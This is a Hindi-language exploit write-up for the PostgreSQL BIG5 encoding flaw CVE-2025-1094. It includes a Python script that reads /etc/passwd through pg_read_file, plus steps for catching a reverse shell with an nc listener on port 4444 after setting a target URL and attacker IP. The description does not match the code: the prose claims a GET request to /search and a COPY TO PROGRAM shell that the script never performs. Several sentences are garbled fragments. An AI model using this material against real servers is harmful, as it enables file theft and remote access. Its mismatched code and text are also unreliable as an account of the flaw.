
यह एन्कोडिंग बेमेल के कारण उत्पन्न एक इनपुट सैनिटाइज़ेशन दोष है, जो तैयार किए गए इनपुट को फ़िल्टर को बायपास करने की अनुमति देता है। यदि कोई सर्वर कमज़ोर है, तो एक हमलावर दुर्भावनापूर्ण SQL इंजेक्ट कर सकता है जिसे बैकएंड निष्पादित करता है।
#मैंने यह एक्सप्लॉइट CVE-2025-1094 पर उपलब्ध PoC के संदर्भ में लिखा है
CVE‑2025‑1094 PostgreSQL के libpq एस्केप फ़ंक्शन और psql इंटरैक्टिव टूल में एक इनपुट सैनिटाइज़ेशन भेद्यता है। यह क्लाइंट एन्कोडिंग BIG5 सेट होने पर मल्टी-बाइट एन्कोडिंग के अनुचित हैंडलिंग के कारण उत्पन्न होती है। कुछ शर्तों के तहत, यह एस्केप वर्णों के गलत प्रबंधन का कारण बन सकती है, जिससे हमलावर इच्छित क्वेरी सीमाओं को बायपास कर सकते हैं।
यह भेद्यता Rapid7 द्वारा CVE‑2024‑12356, जो BeyondTrust उपकरणों में एक अलग समस्या है, के विश्लेषण के दौरान खोजी गई थी। PostgreSQL व्यवहार का शोषण एक व्यापक श्रृंखलाबद्ध भेद्यता के हिस्से के रूप में किया गया था ताकि बैकएंड व्यवहार को और प्रभावित किया जा सके।
जब कोई वेब सर्वर या एप्लिकेशन उपयोगकर्ता इनपुट को सीधे psql के माध्यम से निष्पादित SQL क्वेरी में पास करता है, और client_encoding BIG5 पर सेट होता है, तो विशेष रूप से तैयार किया गया इनपुट SQL स्टेटमेंट को जल्दी समाप्त कर सकता है और दुर्भावनापूर्ण SQL जोड़ सकता है।
यह अतिरिक्त ऑपरेशन की अनुमति देता है, जैसे PostgreSQL के lo_export, pg_read_file, या समान फ़ंक्शन के माध्यम से स्थानीय फ़ाइलें (जैसे /etc/passwd) पढ़ना।
यह डिफ़ॉल्ट रूप से PostgreSQL में रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता नहीं है। बल्कि, यह PostgreSQL क्लाइंट API का दुरुपयोग है, जिसे अनुचित रूप से फ़िल्टर या एस्केप करने पर संवेदनशील फ़ाइल सामग्री लीक करने या संभावित रूप से खतरनाक SQL निष्पादित करने के लिए दुरुपयोग किया जा सकता है।
COPY TO, pg_read_file, या lo_export का शोषण करने की अनुमति देता है।BIG5 हो और इनपुट ठीक से सैनिटाइज़ न किया गया हो।client_encoding=BIG5 के साथ कॉन्फ़िगर किया गया है।import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ यह Exploit.py क्या करता है:
पर्यावरण में PGCLIENTENCODING=BIG5 सेट करता है (ट्रिगर स्थिति)।
क्वेरी से बाहर निकलने और नया COPY TO PROGRAM कमांड डालने के लिए SQL इंजेक्शन पेलोड तैयार करता है।
पेलोड को GET अनुरोध के माध्यम से भेद्य वेब सर्वर (/search?q=...) पर भेजता है।
यदि बैकएंड psql और बिना सैनिटाइज़ किए इनपुट का उपयोग करता है, तो COPY TO PROGRAM निष्पादित होता है और परिणाम लिखता है या शेल खोलता है।
⚠️ रिवर्स शेल तभी सफल होगा जब सर्वर:
SQL को psql का उपयोग करके निष्पादित करता है (पैरामीटरयुक्त DB ड्राइवर नहीं)
COPY TO PROGRAM की अनुमति देता है (सुपरयूज़र आवश्यक है)
हमलावर के लिए आउटबाउंड कनेक्टिविटी रखता है
#यह Python स्क्रिप्ट एक विशेष रूप से तैयार पेलोड को भेद्य वेब सर्वर पर भेजती है जो इनपुट को BIG5 एन्कोडिंग के साथ सीधे PostgreSQL psql प्रक्रिया में पास करता है:
उपयोग के चरण:
टर्मिनल पर एक लिसनर प्रारंभ करें:
nc -lvnp 4444
एक्सप्लॉइट स्क्रिप्ट संपादित करें:
TARGET_URL को लक्ष्य सर्वर के IP या डोमेन पर सेट करें। सुनिश्चित करें कि ENDPOINT रूट से मेल खाता है (जैसे, /search)। अपने अटैक बॉक्स से मेल खाने के लिए REVERSE_IP और REVERSE_PORT समायोजित करें।
स्क्रिप्ट को दूसरे टर्मिनल में निष्पादित करें:
python3 exploit.py
परिणाम: यदि सफल होता है, तो आपको अपने लिसनर पर एक कनेक्शन प्राप्त होगा। यदि नहीं, तो इसके बजाय pg_read_file पेलोड का उपयोग करके फ़ाइलें (जैसे, /etc/passwd) पढ़ने का प्रयास करें।
इसे परीक्षण करने के लिए:
EUC_TW या समान एन्कोडिंग के साथ प्रारंभ किया गया।psql या अनएस्केप्ड डायनामिक SQL का उपयोग करके इंटरैक्ट करती है।pg_read_file या lo_export जैसे फ़ंक्शन तक पहुंच होनी चाहिए।client_encoding=BIG5 से बचें।